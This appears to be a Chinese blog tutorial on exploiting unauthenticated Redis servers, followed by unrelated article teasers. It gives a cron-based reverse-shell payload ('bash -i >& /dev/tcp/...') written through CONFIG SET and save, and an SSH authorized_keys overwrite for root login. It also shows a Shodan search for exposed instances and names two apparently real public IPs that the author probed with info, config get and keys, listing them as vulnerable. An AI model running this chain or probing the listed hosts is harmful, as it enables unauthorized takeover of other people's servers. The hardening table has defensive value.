Redis:未授权访问

news2024/9/17 7:18:48

Redis

Redis(Remote Dictionary Server)是一个开源的高性能键值对(key-value)数据库,支持多种类型的数据结构。

核心特性

内存存储:Redis将所有数据存储在内存中,能够提供极高的读写性能。

持久化:虽然Redis是内存数据库,但提供了两种持久化机制:

RDB(Redis Database):在指定的时间间隔内将内存中的数据快照保存到磁盘。

AOF(Append Only File):记录每次写操作命令,并在服务器启动时重新执行这些命令来恢复数据。

漏洞成因

开发者配置不当,数据库对用户连接无限制,随意进行数据读写,并利用持久化机制,将文件保存至服务器,任意文件路径下

危险的配置文件项

配置项问题描述安全建议
监听配置 (bind)默认可能绑定到 0.0.0.0,允许所有IP访问绑定到内网地址或特定安全的网络接口
端口配置 (port)通常开放标准端口,容易被发现更改为非标准端口,减少被扫描的机率
密码设置 (requirepass)默认无密码设置设置强密码,避免未授权访问
防火墙不启用,或配置过于宽松启用并严格配置 ,限制用户和命令的权限
保护模式 (protected-mode)若设置为 no,在无密码的情况下任何IP都可以连接保持默认的 yes,或在禁用时确保使用强密码和 ACL

漏洞危害

1.服务器目录结构泄露

2.任意文件上传

3.服务器接管

redis常用操作

别名配置【详细点击主页查找】

alias redis='/usr/local/redis-6.0.9/src/redis-server /usr/local/redis-6.0.9/redis.conf'
alias rcli='/usr/local/redis-6.0.9/src/redis-cli'

 1.远程连接redis服务器

rcli -h 服务器ip地址 -p 运行redis服务的端口默认6379

rcli -h 39.108.91.74 -p 6379

2.读写数据

写:set 键名 数据

读:get 键名

 3.获取服务器信息

39.108.91.74:6379>info

4.获取配置文件信息[两行为整体,一行键一行值]

 106.15.138.150:6379> config get *

5.获取当前所有键

106.15.138.150:6379> keys *

6.动态修改文件保存路径及文件名

修改保存文件名:config set dbfilename 文件名

修改保存路径:config set dir 文件保存路径

7.将数据保存文件

106.15.138.150:6379> save

8.利用报错,判断文件保存是否成功

存在文件但不是目录类型: (error) ERR Changing directory: Not a directory

没有这样的文件或目录: (error) ERR Changing directory: No such file or directory

 

9.删除所有数据

flushall

redis漏洞利用

环境检验

攻击机:192.168.10.5

靶机:192.168.10.6

1.攻击机靶机正常通信

2.靶机开启redis服务

3.靶机检查redis端口状态

netstat -an 列出所有网络连接和监听的端口。

通过管道 | 传递给 grep 6379 命令。

grep 6379 搜索包含 "6379" 的行,并将结果输出到终端。

4.攻击机和靶机关闭防火墙

5.攻击机连接靶机redis服务

 

写入反弹连接

1.将cron表达式存储与随机键下

set x "\n* * * * * bash -i >& /dev/tcp/192.168.10.5/7777 0>&1\n"

每分钟对192.168.10.5的7777端口建立tcp连接,加入\n换行符防止其余保存数据对任务造成影响

2.配置保存路径,修改为定时任务目录下

config set dir /var/spool/cron/

cron目录:目录下存放以用户名命名的定时任务

3.修改保存文件名,改为root,使root用户每分钟执行一次表达式

config set dbfilename root

靶机已存在该文件。redis权限为root可以进行覆盖

 4.保存

save

5.查看靶机root用户的计划任务是否添加成功[]

 config set dir /var/spool/cron/root

(error) ERR Changing directory: Not a directory
当前目录下有root文件

6.使用nc监听靶机7777端口,进行反向连接

 nc -lvp 7777

连接成功: 

 

<1.查看靶机计划任务

 

写入ssh密钥实现免密登录

使用场景:目标主机存在开启了ssh服务的端口,且存在.ssh文件夹

原理:通过redis写入公钥文件,将源文件进行覆盖

密钥相关知识文章见主页其他文章

测试密钥登录
<1.复制公钥上传至靶机

靶机下出现文件 /root/.ssh/authorized_keys

<2 使用私钥进行登录

 <3 删除密钥文件authorized_keys 留存.ssh

 

 redis写入密钥
1.将公钥内容拼接换行符写入redis

 2.动态修改保存路径和文件名并将文件保存

 3.使用私钥进行登录

 

 如何寻找redis未授权访问漏洞

进入shodan

https://www.shodan.io

搜索关键字

port:6379

 

存在漏洞的ip

39.108.91.74:6379
读写:正常
动态修改:异常
文件路径:异常


106.15.138.150:6379
读写:正常
动态修改:正常
文件路径:正常
连接:异常

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1957999.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

jumpserver web资源--远程应用发布机

1、环境 jumpserver:3.10.10 远程发布机&#xff1a;windows 2019 2、windows 2019准备 保证windows 正常登录&#xff0c;并且可以访问jumpserver 3、添加远程发布机 能正常连接就继续 可看到这里正常了 4、添加web资源 找到我们需要自动登录界面 获取相关元素选…

独立3D网络游戏《战域重甲》开发与上架经验分享

“ 小编阿麟&#xff1a;心之所向便是光&#xff0c;我们都是追光者!这位独立游戏开发者的产品能力已经不输给许多小团队&#xff0c;希望他的故事和经验分享&#xff0c;可以给走在同样道路上的朋友一些信心和帮助。 背景介绍 2023年年底的时候&#xff0c;我突然有一个很强的…

OpenGL3.3_C++_Windows(32)

demo SSAO SSAO 环境光照(Ambient Lighting)&#xff1a;光的散射&#xff0c;我们通过一个固定的常量作为环境光的模拟&#xff0c;但是这种固定的环境光并不能很好模拟散射&#xff0c;因为环境光不是一成不变的&#xff0c;环境光遮蔽&#xff1a;让&#xff08;褶皱、孔洞…

Qt Designer,仿作一个ui界面的练习(一):界面的基本布局

初学不要太复杂&#xff0c;先做一个结构简单的&#xff0c;大致规划一下功能分区&#xff0c;绘制草图&#xff1a; 最终的效果&#xff1a; 界面主要由顶边栏、侧边栏、内容区构成。顶边栏左边是logo&#xff0c;右边是时钟显示。侧边栏最上边是切换按钮&#xff0c;用以动画…

Notcoin 即将空投:你需要知道什么

Notcoin 于 2024 年 1 月推出&#xff0c;是 Telegram 上的一款边玩边赚游戏&#xff0c;用户可以通过点击硬币图标获得 Notcoin 代币 (NOT) 形式的奖励。NOT 建立在开放网络区块链&#xff08;称为“TON 区块链”&#xff09;上&#xff0c;由 Open Builders 创始人 Sasha Plo…

鸿蒙配置Version版本号,并获取其值

app.json5中配置版本号&#xff1a; 获取版本号&#xff1a; bundleManager.getBundleInfoForSelf(bundleManager.BundleFlag.GET_BUNDLE_INFO_WITH_APPLICATION).then((bundleInfo) > {let versionName bundleInfo.versionName; //应用版本号}).catch((error: BusinessE…

基于web的跨校区通勤车班次规划系统/校车管理系统

获取源码联系方式请查看文章结尾&#x1f345; 摘 要 随着信息技术和网络技术的飞速发展&#xff0c;人类已进入全新信息化时代&#xff0c;传统管理技术已无法高效&#xff0c;便捷地管理信息。为了迎合时代需求&#xff0c;优化管理效率&#xff0c;各种各样的管理系统应运而…

STM32项目分享:智能台灯(机智云)系统

目录 一、前言 二、项目简介 1.功能详解 2.主要器件 三、原理图设计 四、PCB硬件设计 PCB图 五、程序设计 六、实验效果 七、资料内容 项目分享 一、前言 项目成品图片&#xff1a; 哔哩哔哩视频链接&#xff1a; https://www.bilibili.com/video/BV1My411q7fE…

常见的CSS属性(一)——字体、文本、边框、内边距、外边距、背景、行高、圆角、透明度、颜色值

一、字体 二、文本 三、边框 四、外边距 五、内边距 六、背景 七、行高 八、圆角 九、透明度 九、颜色值 元素的继承性是指给父元素设置了某些属性&#xff0c;子元素或后代元素也会有作用。 一、字体 “font-*”是字体相关的属性&#xff0c;具有继承性。代码如下&a…

长上下文语言模型与RAPTOR 方法

在科技领域的前沿&#xff0c;长上下文语言模型&#xff08;Long Context LLMs&#xff09;和新兴检索方法如RAPTOR 正在引发广泛关注。本文将围绕这些技术展开讨论&#xff0c;并探讨它们在实际应用中的创新性和科技性。 长上下文语言模型的崛起 近几周来&#xff0c;随着新型…

基于 SSM 的汽车租赁系统

基于 SSM 的电器网上订购系统 开发语言&#xff1a;Java 数据库&#xff1a;MySQL 技术&#xff1a;Spring、JSP、MyBatis 工具&#xff1a;MyEclipse/IDEA、Tomcat 引言 汽车租赁是在约定时间内&#xff0c;租赁经营人将租赁汽车&#xff08;包括载货汽车和载客汽车&#x…

前端在浏览器总报错,且获取请求头中token的值为null

前端请求总是失败说受跨域请求影响&#xff0c;但前后端配置已经没有问题了&#xff0c;如下&#xff1a; package com.example.shop_manage_sys.config;import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Conf…

paddle ocr 文字识别模型训练 svtr

训练模型方法参考&#xff1a;https://github.com/PaddlePaddle/PaddleOCR/blob/main/doc/doc_ch/recognition.md 实践&#xff1a;https://aistudio.baidu.com/projectdetail/4482681 SVTR 算法原理 SVTR: Scene Text Recognition with a Single Visual Model Yongkun Du a…

Linux网络-ss命令

作者介绍&#xff1a;简历上没有一个精通的运维工程师。希望大家多多关注我&#xff0c;我尽量把自己会的都分享给大家&#xff0c;下面的思维导图也是预计更新的内容和当前进度(不定时更新)。 Linux服务器作为一个常用的网络服务器&#xff0c;主要的作用就是向客户端提供网络…

数据结构(邓俊辉)学习笔记】高级搜索树03——红黑树

文章目录 1. 动机1.1 观察体验1.2 持久性1.3 关联性1.4 O&#xff08;1&#xff09;重构 2. 结构2.1 定义规则2.2 实例验证2.3 提升交换2.4 末端节点2.5 红黑树&#xff0c;即是B树2.6 平衡性2.7 接口定义 3. 插入3.1 以曲为直3.2 双红缺陷3.3 算法框架3.4 RR-13.5 RR-23.6 归纳…

将nvim的配置 上传gitee

首先是创建仓库 接着进入这个界面 然后是上传代码&#xff0c; 结果&#xff1a; 可以看到已经是可以了。 然后是 拉取代码进行测试。 第一次 拉取 使用 git clone .&#xff08;家里&#xff09; 做一点修改&#xff0c;然后上传。&#xff08;公司&#xff09; 然后在git pu…

Kotlin 的优势:现代编程语言的卓越选择

文章目录 简洁与优雅的语法空安全特性函数式编程&#xff0c;支持高阶函数、lambdaKotlin 内联函数与 Java 的互操作性强大的类型推断协程支持lazy 委托object 单例模式区间表达式现代的开发工具支持 本文首发地址 https://h89.cn/archives/301.html 最新更新地址 https://gite…

2024-07-27 Unity Excel —— 使用 EPPlus 插件读取 Excel 文件

文章目录 1 前言2 项目地址3 使用方法3.1 写入 Excel3.2 读取 Excel3.3 读写 csv 文件 4 ExcelSheet 代码 1 前言 ​ 前几日&#xff0c;一直被如何在 Unity 中读取 Excel 的问题给困扰&#xff0c;网上搜索相关教程相对古老&#xff08;4、5 年以前了&#xff09;。之前想用 …

探索 Electron:如何进行网址收藏并无缝收录网页图片内容?

Electron是一个开源的桌面应用程序开发框架&#xff0c;它允许开发者使用Web技术&#xff08;如 HTML、CSS 和 JavaScript&#xff09;构建跨平台的桌面应用程序&#xff0c;它的出现极大地简化了桌面应用程序的开发流程&#xff0c;让更多的开发者能够利用已有的 Web 开发技能…

嵌入式人工智能(28-基于树莓派4B的语音播报模块-SYN6288)

1、语音播报模块 语音播报在一些嵌入式场景中很常见&#xff0c;广泛应用于游戏篮球机音效语音播报&#xff0c;跑步机语音导航&#xff0c;按摩椅语音操作指引&#xff0c;设备故障提示&#xff0c;设备操作引导语音&#xff0c;车载安全语音警示&#xff0c;公共场所语音提示…